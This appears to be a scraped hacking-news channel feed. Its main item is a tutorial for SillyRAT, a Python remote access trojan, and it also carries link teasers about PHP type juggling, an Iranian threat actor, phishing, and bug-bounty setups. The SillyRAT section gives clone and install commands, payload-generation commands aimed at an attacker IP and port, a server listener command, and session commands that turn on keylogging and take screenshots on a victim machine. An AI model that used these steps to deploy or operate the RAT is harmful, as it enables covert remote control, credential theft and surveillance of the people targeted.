Hacking Articles Tips Tricks Videos Tutorials

PHP is the dynamic language that checks variables when the program is executing and provides flexibility to the developers. But this…

PHP Type Juggling

13 viewsedited 04:35

12 views04:40

SillyRAT : A Cross Platform Multifunctional (Windows/Linux/Mac) RAT

Kali Linux Tutorials
SillyRAT : A Cross Platform Multifunctional (Windows/Linux/Mac) RAT

SillyRAT is a cross platform RAT written in pure Python. The RAT accept commands alongside arguments to either perform as the server who accepts connections or to perform as the client/target who establish connections to the server. The generate command uses the module pyinstaller to compile the actual payload code. So, in order to generate payload file for your respective platform, you need to be on that platform while generating the file. Moreover, you can directly get the source file as well.

Features

* Built-in Shell for command execution
* Dumping System Information including drives and rams
* Screenshot module. Captures screenshot of client screen.
* Connection Loop (Will continue on connecting to server)
* Currently, it uses BASE64 encoding.
* Pure Python
* Cross Platform. (Tested on Linux. Errors are accepted)
* Source File included for testing
* Python 3

To be expected in future

* Stealth Execution
* Encryption
* Storing Sessions from last attempt
* Pushing Notifications when a client connects

Installation

The tool is tested on Parrot OS with Python 3.8. Follow the steps for installation:

$ git clone https://github.com/hash3liZer/SillyRAT.git
$ cd SillyRAT/
$ pip3 install -r requirements.txt

Documentation

Generating Payload

You can get the payload file in two ways:

* Source File
* Compiled File

The source file is to remain same on all platforms. So, you can generate it on one platform and use it on the other. Getting the source file:

$ python3 server.py generate –address 134.276.92.1 –port 2999 –output /tmp/payload.py –source

The compiled version has to generated on the respective platform. For example, you can’t generate an .exe file on Linux. You specifically have to be on Windows. The tool is still under testing. So, all kinds of errors are accepted. Make sure to open an issue though. Generating the Compiled Version for Linux:

$ python3 server.py generate –address 134.276.92.1 –port 2999 –output /tmp/filer
https://blogger.googleusercontent.com/img/a/AVvXsEiiP2rvzroiFqVPQF7nWfOPFi6UtI8H9OHIp0lo6YikdUKty-79fwFmkRDHYPpZShCdOmz1Hwbm_dGu6HRfSbEjOwaanhRrbzYJuIO-5b9RYAlE9dL6IKLAmgWG9wNR1wSLE25a_mCq_OfbDHu6_5Y3NijJ6fXYOIb6EfFcc0Eh41Nq2W3e7bLE3Hvs=s1882
Replace your IP Address and Port on above commands.

Running Server

The server must be executed on Linux. You can buy a VPS or Cloud Server for connections. For the record, the server doesn’t store any session from last run. So, all the progress will lost once the server application gets terminated. Running your server:

$ python3 sillyrat.py bind –address 0.0.0.0 –port 2999

Connections

All the connections will be listed under sessions command:

$ sessions
https://blogger.googleusercontent.com/img/a/AVvXsEjHaNcteXtCI1tPmYXHv11PvTg9RZJV7YOiX95Yid-ay4lTP_XyZIbmVM3NOgoaNUYCcOwuF8BXE8YYO_jNqRJ0M2LFpMSkLY9SrrkPcQG3sRppy-DTdunWwZpfNhWk61MLSIEAhGmtdUZBlV4SioruK2pC0IBY__jPRXSgWetxC9upn1O8WNCXU7VY=s1882
You can connect to you target session with connect command and launch one of available commands:

$ connect ID
$ keylogger on
$ keylogger dump
$ screenshot
https://blogger.googleusercontent.com/img/a/AVvXsEh3qze1H8xzlDogM1Ppjh5p79QIBDuBffor6UpS4HsN9d9NFMhriOiS02-gWFpVt2bVIECfLUR8Jx4UJj6pIMIv7MjoxlIxamrEWNFCOG1mK2nEuPVZoM2lDXqNFUK1qAgHgjWRM-S8Ozj3mSGwrZhTLbQPDbk0WRWKctik7gXHVeSGOInpSeaosRhR=s1882
Help

Get a list of available commands:

$ help

Help on a Specific Command:

$ help COMMAND
Download

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials

SillyRAT is a cross platform RAT written in pure Python. The RAT accept commands alongside arguments to either perform as the server.

17 viewsedited 04:40

Wading Through Muddy Waters | Recent Activity of an Iranian...

Wading Through Muddy Waters | Recent Activity of an Iranian State-Sponsored Threat Actor
https://www.reddit.com/r/redteamsec/comments/s2t2qs/wading_through_muddy_waters_recent_activity_of_an/

submitted by /u/dmchell (https://www.reddit.com/user/dmchell)
[link] (https://www.sentinelone.com/labs/wading-through-muddy-waters-recent-activity-of-an-iranian-state-sponsored-threat-actor/) [comments] (https://www.reddit.com/r/redteamsec/comments/s2t2qs/wading_through_muddy_waters_recent_activity_of_an/)

___________________________
@hacking_Attack
@Hacking_Video

Posted in r/redteamsec by u/dmchell • 1 point and 0 comments

13 viewsedited 06:56

Can anyone provide some context for possible phishing attempts?

hacking: security in practice
Can anyone provide some context for possible phishing attempts?

I received an anonymous phonecall from a number in the phillipines. I answered and noone was there. looked it up, but it wasn't registered to anyone. What is this? I've heard it's a "ping". Why would someone do this?

I also received a random email with a pdf document. How do you sanitize a pdf?

submitted by /u/Direct_King_336
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

I received an anonymous phonecall from a number in the phillipines. I answered and noone was there. looked it up, but it wasn't registered to...

11 viewsedited 06:59

9 views06:59

Cloud Apps Replace Web as Source for Most Malware Downloads

hacking: security in practice
Cloud Apps Replace Web as Source for Most Malware Downloads

https://external-preview.redd.it/-Ipiyum5usQ0t42sP8QsZ9JravoKR3q9kGtcW6vY7Bg.jpg?width=640&crop=smart&auto=webp&s=d44ed158d8adb81b8d19d22c6952330ae4e18d34 submitted by /u/AlbertineVierra121
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Posted in r/hacking by u/AlbertineVierra121 • 37 points and 1 comment

11 viewsedited 06:59

9 views07:02

Hacking on Medium
Psychology of Cyber Criminals

https://cdn-images-1.medium.com/max/2600/1*9p1d9YWBc-qoDOS_H5j2qg.jpeg
What is behind their Mindset?

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Psychology of Cyber Criminals

What is behind their Mindset?

11 viewsedited 07:02

11 views07:02

Hacking on Medium
Corporate Espionage with Shodan

https://cdn-images-1.medium.com/max/1920/1*q5dDBFOuKR2_-Yt8S7gtVw.png
I want to preface this article with saying, please do not do use any of this information to do ANY sort of crime.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Corporate Espionage with Shodan

I want to preface this article with saying, please do not do use any of this information to do ANY sort of crime. This article is meant for…

13 viewsedited 07:02

My Perfect Bug Bounty Docker Setup

I hate installing things on my computer because of the bloated slow mess it becomes overtime. So when I found out about docker I fell in…Continue reading on Medium »
Read more...

12 views07:46

My Perfect Bug Bounty Docker Setup
https://medium.com/@james_21337/my-perfect-bug-bounty-docker-setup-f6441f236a2d?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

My Perfect Bug Bounty Docker Setup

I hate installing things on my computer because of the bloated slow mess it becomes overtime. So when I found out about docker I fell in…

13 viewsedited 09:10

13 views09:10

I hate installing things on my computer because of the bloated slow mess it becomes overtime. So when I found out about docker I fell in…Continue reading on Medium » (https://medium.com/@james_21337/my-perfect-bug-bounty-docker-setup-f6441f236a2d?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video